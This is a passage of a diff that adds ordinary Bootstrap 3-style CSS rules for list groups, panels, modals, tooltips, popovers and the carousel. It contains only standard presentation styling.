+.media-right,
+.media-body {
+ display: table-cell;
+ vertical-align: top;
+}
+.media-middle {
+ vertical-align: middle;
+}
+.media-bottom {
+ vertical-align: bottom;
+}
+.media-heading {
+ margin-top: 0;
+ margin-bottom: 5px;
+}
+.media-list {
+ padding-left: 0;
+ list-style: none;
+}
+.list-group {
+ padding-left: 0;
+ margin-bottom: 20px;
+}
+.list-group-item {
+ position: relative;
+ display: block;
+ padding: 10px 15px;
+ margin-bottom: -1px;
+ background-color: #fff;
+ border: 1px solid #ddd;
+}
+.list-group-item:first-child {
+ border-top-left-radius: 4px;
+ border-top-right-radius: 4px;
+}
+.list-group-item:last-child {
+ margin-bottom: 0;
+ border-bottom-right-radius: 4px;
+ border-bottom-left-radius: 4px;
+}
+a.list-group-item,
+button.list-group-item {
+ color: #555;
+}
+a.list-group-item .list-group-item-heading,
+button.list-group-item .list-group-item-heading {
+ color: #333;
+}
+a.list-group-item:hover,
+button.list-group-item:hover,
+a.list-group-item:focus,
+button.list-group-item:focus {
+ color: #555;
+ text-decoration: none;
+ background-color: #f5f5f5;
+}
+button.list-group-item {
+ width: 100%;
+ text-align: left;
+}
+.list-group-item.disabled,
+.list-group-item.disabled:hover,
+.list-group-item.disabled:focus {
+ color: #777;
+ cursor: not-allowed;
+ background-color: #eee;
+}
+.list-group-item.disabled .list-group-item-heading,
+.list-group-item.disabled:hover .list-group-item-heading,
+.list-group-item.disabled:focus .list-group-item-heading {
+ color: inherit;
+}
+.list-group-item.disabled .list-group-item-text,
+.list-group-item.disabled:hover .list-group-item-text,
+.list-group-item.disabled:focus .list-group-item-text {
+ color: #777;
+}
+.list-group-item.active,
+.list-group-item.active:hover,
+.list-group-item.active:focus {
+ z-index: 2;
+ color: #fff;
+ background-color: #337ab7;
+ border-color: #337ab7;
+}
+.list-group-item.active .list-group-item-heading,
+.list-group-item.active:hover .list-group-item-heading,
+.list-group-item.active:focus .list-group-item-heading,
+.list-group-item.active .list-group-item-heading > small,
+.list-group-item.active:hover .list-group-item-heading > small,
+.list-group-item.active:focus .list-group-item-heading > small,
+.list-group-item.active .list-group-item-heading > .small,
+.list-group-item.active:hover .list-group-item-heading > .small,
+.list-group-item.active:focus .list-group-item-heading > .small {
+ color: inherit;
+}
+.list-group-item.active .list-group-item-text,
+.list-group-item.active:hover .list-group-item-text,
+.list-group-item.active:focus .list-group-item-text {
+ color: #c7ddef;
+}
+.list-group-item-success {
+ color: #3c763d;
+ background-color: #dff0d8;
+}
+a.list-group-item-success,
+button.list-group-item-success {
+ color: #3c763d;
+}
+a.list-group-item-success .list-group-item-heading,
+button.list-group-item-success .list-group-item-heading {
+ color: inherit;
+}
+a.list-group-item-success:hover,
+button.list-group-item-success:hover,
+a.list-group-item-success:focus,
+button.list-group-item-success:focus {
+ color: #3c763d;
+ background-color: #d0e9c6;
+}
+a.list-group-item-success.active,
+button.list-group-item-success.active,
+a.list-group-item-success.active:hover,
+button.list-group-item-success.active:hover,
+a.list-group-item-success.active:focus,
+button.list-group-item-success.active:focus {
+ color: #fff;
+ background-color: #3c763d;
+ border-color: #3c763d;
+}
+.list-group-item-info {
+ color: #31708f;
+ background-color: #d9edf7;
+}
+a.list-group-item-info,
+button.list-group-item-info {
+ color: #31708f;
+}
+a.list-group-item-info .list-group-item-heading,
+button.list-group-item-info .list-group-item-heading {
+ color: inherit;
+}
+a.list-group-item-info:hover,
+button.list-group-item-info:hover,
+a.list-group-item-info:focus,
+button.list-group-item-info:focus {
+ color: #31708f;
+ background-color: #c4e3f3;
+}
+a.list-group-item-info.active,
+button.list-group-item-info.active,
+a.list-group-item-info.active:hover,
+button.list-group-item-info.active:hover,
+a.list-group-item-info.active:focus,
+button.list-group-item-info.active:focus {
+ color: #fff;
+ background-color: #31708f;
+ border-color: #31708f;
+}
+.list-group-item-warning {
+ color: #8a6d3b;
+ background-color: #fcf8e3;
+}
+a.list-group-item-warning,
+button.list-group-item-warning {
+ color: #8a6d3b;
+}
+a.list-group-item-warning .list-group-item-heading,
+button.list-group-item-warning .list-group-item-heading {
+ color: inherit;
+}
+a.list-group-item-warning:hover,
+button.list-group-item-warning:hover,
+a.list-group-item-warning:focus,
+button.list-group-item-warning:focus {
+ color: #8a6d3b;
+ background-color: #faf2cc;
+}
+a.list-group-item-warning.active,
+button.list-group-item-warning.active,
+a.list-group-item-warning.active:hover,
+button.list-group-item-warning.active:hover,
+a.list-group-item-warning.active:focus,
+button.list-group-item-warning.active:focus {
+ color: #fff;
+ background-color: #8a6d3b;
+ border-color: #8a6d3b;
+}
+.list-group-item-danger {
+ color: #a94442;
+ background-color: #f2dede;
+}
+a.list-group-item-danger,
+button.list-group-item-danger {
+ color: #a94442;
+}
+a.list-group-item-danger .list-group-item-heading,
+button.list-group-item-danger .list-group-item-heading {
+ color: inherit;
+}
+a.list-group-item-danger:hover,
+button.list-group-item-danger:hover,
+a.list-group-item-danger:focus,
+button.list-group-item-danger:focus {
+ color: #a94442;
+ background-color: #ebcccc;
+}
+a.list-group-item-danger.active,
+button.list-group-item-danger.active,
+a.list-group-item-danger.active:hover,
+button.list-group-item-danger.active:hover,
+a.list-group-item-danger.active:focus,
+button.list-group-item-danger.active:focus {
+ color: #fff;
+ background-color: #a94442;
+ border-color: #a94442;
+}
+.list-group-item-heading {
+ margin-top: 0;
+ margin-bottom: 5px;
+}
+.list-group-item-text {
+ margin-bottom: 0;
+ line-height: 1.3;
+}
+.panel {
+ margin-bottom: 20px;
+ background-color: #fff;
+ border: 1px solid transparent;
+ border-radius: 4px;
+ -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05);
+ box-shadow: 0 1px 1px rgba(0, 0, 0, .05);
+}
+.panel-body {
+ padding: 15px;
+}
+.panel-heading {
+ padding: 10px 15px;
+ border-bottom: 1px solid transparent;
+ border-top-left-radius: 3px;
+ border-top-right-radius: 3px;
+}
+.panel-heading > .dropdown .dropdown-toggle {
+ color: inherit;
+}
+.panel-title {
+ margin-top: 0;
+ margin-bottom: 0;
+ font-size: 16px;
+ color: inherit;
+}
+.panel-title > a,
+.panel-title > small,
+.panel-title > .small,
+.panel-title > small > a,
+.panel-title > .small > a {
+ color: inherit;
+}
+.panel-footer {
+ padding: 10px 15px;
+ background-color: #f5f5f5;
+ border-top: 1px solid #ddd;
+ border-bottom-right-radius: 3px;
+ border-bottom-left-radius: 3px;
+}
+.panel > .list-group,
+.panel > .panel-collapse > .list-group {
+ margin-bottom: 0;
+}
+.panel > .list-group .list-group-item,
+.panel > .panel-collapse > .list-group .list-group-item {
+ border-width: 1px 0;
+ border-radius: 0;
+}
+.panel > .list-group:first-child .list-group-item:first-child,
+.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {
+ border-top: 0;
+ border-top-left-radius: 3px;
+ border-top-right-radius: 3px;
+}
+.panel > .list-group:last-child .list-group-item:last-child,
+.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {
+ border-bottom: 0;
+ border-bottom-right-radius: 3px;
+ border-bottom-left-radius: 3px;
+}
+.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {
+ border-top-left-radius: 0;
+ border-top-right-radius: 0;
+}
+.panel-heading + .list-group .list-group-item:first-child {
+ border-top-width: 0;
+}
+.list-group + .panel-footer {
+ border-top-width: 0;
+}
+.panel > .table,
+.panel > .table-responsive > .table,
+.panel > .panel-collapse > .table {
+ margin-bottom: 0;
+}
+.panel > .table caption,
+.panel > .table-responsive > .table caption,
+.panel > .panel-collapse > .table caption {
+ padding-right: 15px;
+ padding-left: 15px;
+}
+.panel > .table:first-child,
+.panel > .table-responsive:first-child > .table:first-child {
+ border-top-left-radius: 3px;
+ border-top-right-radius: 3px;
+}
+.panel > .table:first-child > thead:first-child > tr:first-child,
+.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,
+.panel > .table:first-child > tbody:first-child > tr:first-child,
+.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {
+ border-top-left-radius: 3px;
+ border-top-right-radius: 3px;
+}
+.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,
+.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,
+.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,
+.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,
+.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,
+.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,
+.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,
+.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {
+ border-top-left-radius: 3px;
+}
+.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,
+.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,
+.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,
+.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,
+.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,
+.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,
+.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,
+.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {
+ border-top-right-radius: 3px;
+}
+.panel > .table:last-child,
+.panel > .table-responsive:last-child > .table:last-child {
+ border-bottom-right-radius: 3px;
+ border-bottom-left-radius: 3px;
+}
+.panel > .table:last-child > tbody:last-child > tr:last-child,
+.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,
+.panel > .table:last-child > tfoot:last-child > tr:last-child,
+.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {
+ border-bottom-right-radius: 3px;
+ border-bottom-left-radius: 3px;
+}
+.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,
+.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,
+.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,
+.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,
+.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,
+.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,
+.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,
+.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {
+ border-bottom-left-radius: 3px;
+}
+.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,
+.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,
+.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,
+.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,
+.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,
+.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,
+.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,
+.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {
+ border-bottom-right-radius: 3px;
+}
+.panel > .panel-body + .table,
+.panel > .panel-body + .table-responsive,
+.panel > .table + .panel-body,
+.panel > .table-responsive + .panel-body {
+ border-top: 1px solid #ddd;
+}
+.panel > .table > tbody:first-child > tr:first-child th,
+.panel > .table > tbody:first-child > tr:first-child td {
+ border-top: 0;
+}
+.panel > .table-bordered,
+.panel > .table-responsive > .table-bordered {
+ border: 0;
+}
+.panel > .table-bordered > thead > tr > th:first-child,
+.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,
+.panel > .table-bordered > tbody > tr > th:first-child,
+.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,
+.panel > .table-bordered > tfoot > tr > th:first-child,
+.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,
+.panel > .table-bordered > thead > tr > td:first-child,
+.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,
+.panel > .table-bordered > tbody > tr > td:first-child,
+.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,
+.panel > .table-bordered > tfoot > tr > td:first-child,
+.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {
+ border-left: 0;
+}
+.panel > .table-bordered > thead > tr > th:last-child,
+.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,
+.panel > .table-bordered > tbody > tr > th:last-child,
+.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,
+.panel > .table-bordered > tfoot > tr > th:last-child,
+.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,
+.panel > .table-bordered > thead > tr > td:last-child,
+.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,
+.panel > .table-bordered > tbody > tr > td:last-child,
+.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,
+.panel > .table-bordered > tfoot > tr > td:last-child,
+.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {
+ border-right: 0;
+}
+.panel > .table-bordered > thead > tr:first-child > td,
+.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,
+.panel > .table-bordered > tbody > tr:first-child > td,
+.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,
+.panel > .table-bordered > thead > tr:first-child > th,
+.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,
+.panel > .table-bordered > tbody > tr:first-child > th,
+.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {
+ border-bottom: 0;
+}
+.panel > .table-bordered > tbody > tr:last-child > td,
+.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,
+.panel > .table-bordered > tfoot > tr:last-child > td,
+.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,
+.panel > .table-bordered > tbody > tr:last-child > th,
+.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,
+.panel > .table-bordered > tfoot > tr:last-child > th,
+.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {
+ border-bottom: 0;
+}
+.panel > .table-responsive {
+ margin-bottom: 0;
+ border: 0;
+}
+.panel-group {
+ margin-bottom: 20px;
+}
+.panel-group .panel {
+ margin-bottom: 0;
+ border-radius: 4px;
+}
+.panel-group .panel + .panel {
+ margin-top: 5px;
+}
+.panel-group .panel-heading {
+ border-bottom: 0;
+}
+.panel-group .panel-heading + .panel-collapse > .panel-body,
+.panel-group .panel-heading + .panel-collapse > .list-group {
+ border-top: 1px solid #ddd;
+}
+.panel-group .panel-footer {
+ border-top: 0;
+}
+.panel-group .panel-footer + .panel-collapse .panel-body {
+ border-bottom: 1px solid #ddd;
+}
+.panel-default {
+ border-color: #ddd;
+}
+.panel-default > .panel-heading {
+ color: #333;
+ background-color: #f5f5f5;
+ border-color: #ddd;
+}
+.panel-default > .panel-heading + .panel-collapse > .panel-body {
+ border-top-color: #ddd;
+}
+.panel-default > .panel-heading .badge {
+ color: #f5f5f5;
+ background-color: #333;
+}
+.panel-default > .panel-footer + .panel-collapse > .panel-body {
+ border-bottom-color: #ddd;
+}
+.panel-primary {
+ border-color: #337ab7;
+}
+.panel-primary > .panel-heading {
+ color: #fff;
+ background-color: #337ab7;
+ border-color: #337ab7;
+}
+.panel-primary > .panel-heading + .panel-collapse > .panel-body {
+ border-top-color: #337ab7;
+}
+.panel-primary > .panel-heading .badge {
+ color: #337ab7;
+ background-color: #fff;
+}
+.panel-primary > .panel-footer + .panel-collapse > .panel-body {
+ border-bottom-color: #337ab7;
+}
+.panel-success {
+ border-color: #d6e9c6;
+}
+.panel-success > .panel-heading {
+ color: #3c763d;
+ background-color: #dff0d8;
+ border-color: #d6e9c6;
+}
+.panel-success > .panel-heading + .panel-collapse > .panel-body {
+ border-top-color: #d6e9c6;
+}
+.panel-success > .panel-heading .badge {
+ color: #dff0d8;
+ background-color: #3c763d;
+}
+.panel-success > .panel-footer + .panel-collapse > .panel-body {
+ border-bottom-color: #d6e9c6;
+}
+.panel-info {
+ border-color: #bce8f1;
+}
+.panel-info > .panel-heading {
+ color: #31708f;
+ background-color: #d9edf7;
+ border-color: #bce8f1;
+}
+.panel-info > .panel-heading + .panel-collapse > .panel-body {
+ border-top-color: #bce8f1;
+}
+.panel-info > .panel-heading .badge {
+ color: #d9edf7;
+ background-color: #31708f;
+}
+.panel-info > .panel-footer + .panel-collapse > .panel-body {
+ border-bottom-color: #bce8f1;
+}
+.panel-warning {
+ border-color: #faebcc;
+}
+.panel-warning > .panel-heading {
+ color: #8a6d3b;
+ background-color: #fcf8e3;
+ border-color: #faebcc;
+}
+.panel-warning > .panel-heading + .panel-collapse > .panel-body {
+ border-top-color: #faebcc;
+}
+.panel-warning > .panel-heading .badge {
+ color: #fcf8e3;
+ background-color: #8a6d3b;
+}
+.panel-warning > .panel-footer + .panel-collapse > .panel-body {
+ border-bottom-color: #faebcc;
+}
+.panel-danger {
+ border-color: #ebccd1;
+}
+.panel-danger > .panel-heading {
+ color: #a94442;
+ background-color: #f2dede;
+ border-color: #ebccd1;
+}
+.panel-danger > .panel-heading + .panel-collapse > .panel-body {
+ border-top-color: #ebccd1;
+}
+.panel-danger > .panel-heading .badge {
+ color: #f2dede;
+ background-color: #a94442;
+}
+.panel-danger > .panel-footer + .panel-collapse > .panel-body {
+ border-bottom-color: #ebccd1;
+}
+.embed-responsive {
+ position: relative;
+ display: block;
+ height: 0;
+ padding: 0;
+ overflow: hidden;
+}
+.embed-responsive .embed-responsive-item,
+.embed-responsive iframe,
+.embed-responsive embed,
+.embed-responsive object,
+.embed-responsive video {
+ position: absolute;
+ top: 0;
+ bottom: 0;
+ left: 0;
+ width: 100%;
+ height: 100%;
+ border: 0;
+}
+.embed-responsive-16by9 {
+ padding-bottom: 56.25%;
+}
+.embed-responsive-4by3 {
+ padding-bottom: 75%;
+}
+.well {
+ min-height: 20px;
+ padding: 19px;
+ margin-bottom: 20px;
+ background-color: #f5f5f5;
+ border: 1px solid #e3e3e3;
+ border-radius: 4px;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);
+ box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);
+}
+.well blockquote {
+ border-color: #ddd;
+ border-color: rgba(0, 0, 0, .15);
+}
+.well-lg {
+ padding: 24px;
+ border-radius: 6px;
+}
+.well-sm {
+ padding: 9px;
+ border-radius: 3px;
+}
+.close {
+ float: right;
+ font-size: 21px;
+ font-weight: bold;
+ line-height: 1;
+ color: #000;
+ text-shadow: 0 1px 0 #fff;
+ filter: alpha(opacity=20);
+ opacity: .2;
+}
+.close:hover,
+.close:focus {
+ color: #000;
+ text-decoration: none;
+ cursor: pointer;
+ filter: alpha(opacity=50);
+ opacity: .5;
+}
+button.close {
+ -webkit-appearance: none;
+ padding: 0;
+ cursor: pointer;
+ background: transparent;
+ border: 0;
+}
+.modal-open {
+ overflow: hidden;
+}
+.modal {
+ position: fixed;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ left: 0;
+ z-index: 1050;
+ display: none;
+ overflow: hidden;
+ -webkit-overflow-scrolling: touch;
+ outline: 0;
+}
+.modal.fade .modal-dialog {
+ -webkit-transition: -webkit-transform .3s ease-out;
+ -o-transition: -o-transform .3s ease-out;
+ transition: transform .3s ease-out;
+ -webkit-transform: translate(0, -25%);
+ -ms-transform: translate(0, -25%);
+ -o-transform: translate(0, -25%);
+ transform: translate(0, -25%);
+}
+.modal.in .modal-dialog {
+ -webkit-transform: translate(0, 0);
+ -ms-transform: translate(0, 0);
+ -o-transform: translate(0, 0);
+ transform: translate(0, 0);
+}
+.modal-open .modal {
+ overflow-x: hidden;
+ overflow-y: auto;
+}
+.modal-dialog {
+ position: relative;
+ width: auto;
+ margin: 10px;
+}
+.modal-content {
+ position: relative;
+ background-color: #fff;
+ -webkit-background-clip: padding-box;
+ background-clip: padding-box;
+ border: 1px solid #999;
+ border: 1px solid rgba(0, 0, 0, .2);
+ border-radius: 6px;
+ outline: 0;
+ -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);
+ box-shadow: 0 3px 9px rgba(0, 0, 0, .5);
+}
+.modal-backdrop {
+ position: fixed;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ left: 0;
+ z-index: 1040;
+ background-color: #000;
+}
+.modal-backdrop.fade {
+ filter: alpha(opacity=0);
+ opacity: 0;
+}
+.modal-backdrop.in {
+ filter: alpha(opacity=50);
+ opacity: .5;
+}
+.modal-header {
+ min-height: 16.42857143px;
+ padding: 15px;
+ border-bottom: 1px solid #e5e5e5;
+}
+.modal-header .close {
+ margin-top: -2px;
+}
+.modal-title {
+ margin: 0;
+ line-height: 1.42857143;
+}
+.modal-body {
+ position: relative;
+ padding: 15px;
+}
+.modal-footer {
+ padding: 15px;
+ text-align: right;
+ border-top: 1px solid #e5e5e5;
+}
+.modal-footer .btn + .btn {
+ margin-bottom: 0;
+ margin-left: 5px;
+}
+.modal-footer .btn-group .btn + .btn {
+ margin-left: -1px;
+}
+.modal-footer .btn-block + .btn-block {
+ margin-left: 0;
+}
+.modal-scrollbar-measure {
+ position: absolute;
+ top: -9999px;
+ width: 50px;
+ height: 50px;
+ overflow: scroll;
+}
+@media (min-width: 768px) {
+ .modal-dialog {
+ width: 600px;
+ margin: 30px auto;
+ }
+ .modal-content {
+ -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5);
+ box-shadow: 0 5px 15px rgba(0, 0, 0, .5);
+ }
+ .modal-sm {
+ width: 300px;
+ }
+}
+@media (min-width: 992px) {
+ .modal-lg {
+ width: 900px;
+ }
+}
+.tooltip {
+ position: absolute;
+ z-index: 1070;
+ display: block;
+ font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+ font-size: 12px;
+ font-style: normal;
+ font-weight: normal;
+ line-height: 1.42857143;
+ text-align: left;
+ text-align: start;
+ text-decoration: none;
+ text-shadow: none;
+ text-transform: none;
+ letter-spacing: normal;
+ word-break: normal;
+ word-spacing: normal;
+ word-wrap: normal;
+ white-space: normal;
+ filter: alpha(opacity=0);
+ opacity: 0;
+
+ line-break: auto;
+}
+.tooltip.in {
+ filter: alpha(opacity=90);
+ opacity: .9;
+}
+.tooltip.top {
+ padding: 5px 0;
+ margin-top: -3px;
+}
+.tooltip.right {
+ padding: 0 5px;
+ margin-left: 3px;
+}
+.tooltip.bottom {
+ padding: 5px 0;
+ margin-top: 3px;
+}
+.tooltip.left {
+ padding: 0 5px;
+ margin-left: -3px;
+}
+.tooltip-inner {
+ max-width: 200px;
+ padding: 3px 8px;
+ color: #fff;
+ text-align: center;
+ background-color: #000;
+ border-radius: 4px;
+}
+.tooltip-arrow {
+ position: absolute;
+ width: 0;
+ height: 0;
+ border-color: transparent;
+ border-style: solid;
+}
+.tooltip.top .tooltip-arrow {
+ bottom: 0;
+ left: 50%;
+ margin-left: -5px;
+ border-width: 5px 5px 0;
+ border-top-color: #000;
+}
+.tooltip.top-left .tooltip-arrow {
+ right: 5px;
+ bottom: 0;
+ margin-bottom: -5px;
+ border-width: 5px 5px 0;
+ border-top-color: #000;
+}
+.tooltip.top-right .tooltip-arrow {
+ bottom: 0;
+ left: 5px;
+ margin-bottom: -5px;
+ border-width: 5px 5px 0;
+ border-top-color: #000;
+}
+.tooltip.right .tooltip-arrow {
+ top: 50%;
+ left: 0;
+ margin-top: -5px;
+ border-width: 5px 5px 5px 0;
+ border-right-color: #000;
+}
+.tooltip.left .tooltip-arrow {
+ top: 50%;
+ right: 0;
+ margin-top: -5px;
+ border-width: 5px 0 5px 5px;
+ border-left-color: #000;
+}
+.tooltip.bottom .tooltip-arrow {
+ top: 0;
+ left: 50%;
+ margin-left: -5px;
+ border-width: 0 5px 5px;
+ border-bottom-color: #000;
+}
+.tooltip.bottom-left .tooltip-arrow {
+ top: 0;
+ right: 5px;
+ margin-top: -5px;
+ border-width: 0 5px 5px;
+ border-bottom-color: #000;
+}
+.tooltip.bottom-right .tooltip-arrow {
+ top: 0;
+ left: 5px;
+ margin-top: -5px;
+ border-width: 0 5px 5px;
+ border-bottom-color: #000;
+}
+.popover {
+ position: absolute;
+ top: 0;
+ left: 0;
+ z-index: 1060;
+ display: none;
+ max-width: 276px;
+ padding: 1px;
+ font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+ font-size: 14px;
+ font-style: normal;
+ font-weight: normal;
+ line-height: 1.42857143;
+ text-align: left;
+ text-align: start;
+ text-decoration: none;
+ text-shadow: none;
+ text-transform: none;
+ letter-spacing: normal;
+ word-break: normal;
+ word-spacing: normal;
+ word-wrap: normal;
+ white-space: normal;
+ background-color: #fff;
+ -webkit-background-clip: padding-box;
+ background-clip: padding-box;
+ border: 1px solid #ccc;
+ border: 1px solid rgba(0, 0, 0, .2);
+ border-radius: 6px;
+ -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);
+ box-shadow: 0 5px 10px rgba(0, 0, 0, .2);
+
+ line-break: auto;
+}
+.popover.top {
+ margin-top: -10px;
+}
+.popover.right {
+ margin-left: 10px;
+}
+.popover.bottom {
+ margin-top: 10px;
+}
+.popover.left {
+ margin-left: -10px;
+}
+.popover-title {
+ padding: 8px 14px;
+ margin: 0;
+ font-size: 14px;
+ background-color: #f7f7f7;
+ border-bottom: 1px solid #ebebeb;
+ border-radius: 5px 5px 0 0;
+}
+.popover-content {
+ padding: 9px 14px;
+}
+.popover > .arrow,
+.popover > .arrow:after {
+ position: absolute;
+ display: block;
+ width: 0;
+ height: 0;
+ border-color: transparent;
+ border-style: solid;
+}
+.popover > .arrow {
+ border-width: 11px;
+}
+.popover > .arrow:after {
+ content: "";
+ border-width: 10px;
+}
+.popover.top > .arrow {
+ bottom: -11px;
+ left: 50%;
+ margin-left: -11px;
+ border-top-color: #999;
+ border-top-color: rgba(0, 0, 0, .25);
+ border-bottom-width: 0;
+}
+.popover.top > .arrow:after {
+ bottom: 1px;
+ margin-left: -10px;
+ content: " ";
+ border-top-color: #fff;
+ border-bottom-width: 0;
+}
+.popover.right > .arrow {
+ top: 50%;
+ left: -11px;
+ margin-top: -11px;
+ border-right-color: #999;
+ border-right-color: rgba(0, 0, 0, .25);
+ border-left-width: 0;
+}
+.popover.right > .arrow:after {
+ bottom: -10px;
+ left: 1px;
+ content: " ";
+ border-right-color: #fff;
+ border-left-width: 0;
+}
+.popover.bottom > .arrow {
+ top: -11px;
+ left: 50%;
+ margin-left: -11px;
+ border-top-width: 0;
+ border-bottom-color: #999;
+ border-bottom-color: rgba(0, 0, 0, .25);
+}
+.popover.bottom > .arrow:after {
+ top: 1px;
+ margin-left: -10px;
+ content: " ";
+ border-top-width: 0;
+ border-bottom-color: #fff;
+}
+.popover.left > .arrow {
+ top: 50%;
+ right: -11px;
+ margin-top: -11px;
+ border-right-width: 0;
+ border-left-color: #999;
+ border-left-color: rgba(0, 0, 0, .25);
+}
+.popover.left > .arrow:after {
+ right: 1px;
+ bottom: -10px;
+ content: " ";
+ border-right-width: 0;
+ border-left-color: #fff;
+}
+.carousel {
+ position: relative;
+}
+.carousel-inner {
+ position: relative;
+ width: 100%;
+ overflow: hidden;
+}
+.carousel-inner > .item {
+ position: relative;
+ display: none;
+ -webkit-transition: .6s ease-in-out left;
+ -o-transition: .6s ease-in-out left;
+ transition: .6s ease-in-out left;
+}
+.carousel-inner > .item > img,
+.carousel-inner > .item > a > img {
+ line-height: 1;
+}
+@media all and (transform-3d), (-webkit-transform-3d) {
+ .carousel-inner > .item {
+ -webkit-transition: -webkit-transform .6s ease-in-out;
+ -o-transition: -o-transform .6s ease-in-out;
+ transition: transform .6s ease-in-out;
+
+ -webkit-backface-visibility: hidden;
+ backface-visibility: hidden;
+ -webkit-perspective: 1000px;
+ perspective: 1000px;
+ }
+ .carousel-inner > .item.next,
+ .carousel-inner > .item.active.right {
+ left: 0;
+ -webkit-transform: translate3d(100%, 0, 0);
+ transform: translate3d(100%, 0, 0);
+ }
+ .carousel-inner > .item.prev,
+ .carousel-inner > .item.active.left {
+ left: 0;
+ -webkit-transform: translate3d(-100%, 0, 0);
+ transform: translate3d(-100%, 0, 0);
+ }
+ .carousel-inner > .item.next.left,
+ .carousel-inner > .item.prev.right,
+ .carousel-inner > .item.active {
+ left: 0;
+ -webkit-transform: translate3d(0, 0, 0);
+ transform: translate3d(0, 0, 0);
+ }
+}
+.carousel-inner > .active,
+.carousel-inner > .next,
+.carousel-inner > .prev {
+ display: block;
+}
+.carousel-inner > .active {
+ left: 0;
+}
+.carousel-inner > .next,
+.carousel-inner > .prev {
+ position: absolute;
+ top: 0;
+ width: 100%;
+}
+.carousel-inner > .next {
+ left: 100%;
+}
+.carousel-inner > .prev {
+ left: -100%;
+}
+.carousel-inner > .next.left,
+.carousel-inner > .prev.right {
+ left: 0;
+}
+.carousel-inner > .active.left {
+ left: -100%;
+}
+.carousel-inner > .active.right {
+ left: 100%;
+}
+.carousel-control {
+ position: absolute;
+ top: 0;
+ bottom: 0;
+ left: 0;
+ width: 15%;
+ font-size: 20px;
+ color: #fff;
+ text-align: center;
+ text-shadow: 0 1px 2px rgba(0, 0, 0, .6);
+ filter: alpha(opacity=50);
+ opacity: .5;
+}
+.carousel-control.left {
+ background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);
+ background-image: -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);
+ background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001)));
+ background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);
+ background-repeat: repeat-x;
+}
+.carousel-control.right {
+ right: 0;
